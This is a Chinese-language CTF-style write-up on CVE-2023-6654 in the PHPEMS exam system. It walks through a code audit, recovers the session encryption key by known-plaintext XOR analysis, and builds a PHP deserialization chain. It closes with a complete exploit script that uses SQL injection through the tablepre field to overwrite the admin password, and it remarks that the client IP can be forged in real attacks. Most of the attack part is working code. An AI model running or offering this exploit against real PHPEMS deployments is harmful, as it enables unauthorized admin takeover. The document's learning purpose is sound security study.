前言

系统是phpems，修改了默认密码，需要利用CVE登上去

CVE-2023-6654 ，菜鸟学习，大佬多指点

0x01环境搭建

https://phpems.net/index.php 源码

config.inc.php修改相应数据库配置

{width="7.037036307961505in" height="4.045271216097988in"}

数据库运行pe9.sql文件建立数据库

{width="16.29629593175853in" height="7.365761154855643in"}

0x02代码审计

根据题目提示是CVE2023-6654

{width="8.648147419072616in" height="4.851079396325459in"}

漏洞点在session.cls.php

查看session.cls.php代码

{width="8.685185914260718in" height="5.097732939632546in"}

查看ginkgo

{width="9.333333333333334in" height="5.282419072615923in"}

其make方法会判断$G拼接的文件名是否存在，也就是lib文件下的.cls.php文件，存在的就会包含这个文件

pepdo，ev，pdosql，strings是这里面分别包含的文件，根据CVE披露得知是反序列化漏洞，搜索反序列化点。

{width="5.8148140857392825in" height="0.41712160979877516in"}

strings.cls.php中有利用点

{width="8.944444444444445in" height="2.6294094488188975in"}

getSessionId()方法里面有调用decode

{width="7.574074803149606in" height="3.374326334208224in"}

key值为CS,CS值在config.inc.php中，题目环境是修改的

{width="9.462963692038494in" height="3.851010498687664in"}

使用如下代码可以解密出明文，因为我们知道key

{width="10.444444444444445in" height="3.1749781277340334in"}

<?phpdefine('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%25B4%257F%2596%2599b%259C%25D5%259C%25AAi%25A6%259A%2597%25AE%258B%25AC%25D7%25C9%25DB%25CF%258B%25D5%259Ei%2596%25AA%25D0%259DQ%25A9v%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9y%2597%2586%2582%258Fgf%25A3%25EE";$key = CS;$info = urldecode(urldecode($info));$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])-ord($key[$p]));}echo $info;

{width="10.537036307961506in" height="1.4014162292213472in"}

encode代码

public function encode($info){$info = serialize($info);$key = CS;$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode($info);}decode代码public function decode($info){$key = CS;$info = urldecode($info);$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])-ord($key[$p]));}$info = unserialize($info);return $info;}

可以看出里面这个$p值是循环的，加密的出来的值等于其ascll值相加，

encode是明文+key=密文

decode是密文-key=明文

key=密文-明文

key的长度是32位，也就是我们得到的密码每32位一循环，那么如果我们知道密文中其中一段32位的明文，就可以算出来key了

ev.cls.php

{width="10.61111111111111in" height="3.681751968503937in"}

可以确认这个ip是可控的，也就是这个值是可控的

a:3:{s:9:"sessionid";s:32:"6c48c14d623214794ccef7ee5f4b6003";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1706957115;}

去掉前面的64位，往后顺延32为取出来，值如下

:"sessionip";s:9:"127.0.0.1";s:1

解密脚本

<?php$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3ebjfel%2596%25CD%25D7%25CA%25A8k%25D5%259F%259A%25A9%25B6%25A8%25A4%2598%25AC%2599%2589%25A5p%2596%2593%25AC%25A6%259FZ%25DBuSm%25A6nnk%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7tSm%25A6nfg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25A9yjiiemj%25A3%25EE";$key = CS;$info = urldecode(urldecode($info));$info1=substr($info,64,32);//echo $info1;$ed=strlen($info1);//也就是32$dc=32;$sessip=':"sessionip";s:9:"127.0.0.1";s:1';for ($i=0;$i<$ed;$i++){$p=$i%$dc;$info1[$i]=chr(ord($info1[$i])-ord($sessip[$p]));}echo $info1;//1hqfx6ticwRxtfviTp940vng!yC12345构造反序列化链子session.cls.php的__destruct() 关键代码$sql = $this->pdosql->makeUpdate($data);$this->db->exec($sql);{width="7.333333333333333in"height="2.8976049868766403in"}

这里可以看出分别需要db和pdosql，以此达到反序列化修改数据库密码，

构造链子 session::__destruct()->pdosql::makeUpdate->pepdo::exec

{width="8.796297025371828in" height="1.4777165354330708in"}

0x03漏洞复现

这里使用网上师傅的EXP

<?phpnamespace PHPEMS{class session{public function __construct(){$this->sessionid="1111111";$this->pdosql= new pdosql();$this->db= new pepdo();}}class pdosql{private $db;public function __construct(){$this->tablepre = 'x2_user setuserpassword="a10adc3949ba59abbe56e057f20f883e" whereusername="peadmin";#--';$this->db=new pepdo();}}class pepdo{private $linkid = 0;}}namespace {define('CS1','1hqfx6ticwRxtfviTp940vng!yC12345');function encode($info){$info = serialize($info);$key = CS1;$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode($info);}$session = new PHPEMSsession();$array = array("sessionid"=>"123123123", $session);echo serialize($array)."n";echo(urlencode(encode($array)))."n";}

实战中我们的ip是可以伪造的

{width="10.648147419072616in" height="5.5473053368328955in"}

{width="11.722222222222221in" height="1.0431999125109361in"}

{width="11.148147419072616in" height="4.113316929133858in"}

关键代码点

{width="11.629629265091863in" height="1.82582895888014in"}

需要先创建pepdo和pdosql

pdosql.cls.php的makeUpdate是用来生成sql语句的

{width="10.740741469816273in" height="5.0050153105861765in"}

$tb_pre = $this->tablepre

所以这个sql语句参数可控

0x04总结

函数是关键，研究下是否能可控这个反序列化的参数值，并且反序列化中能够调用危险函数。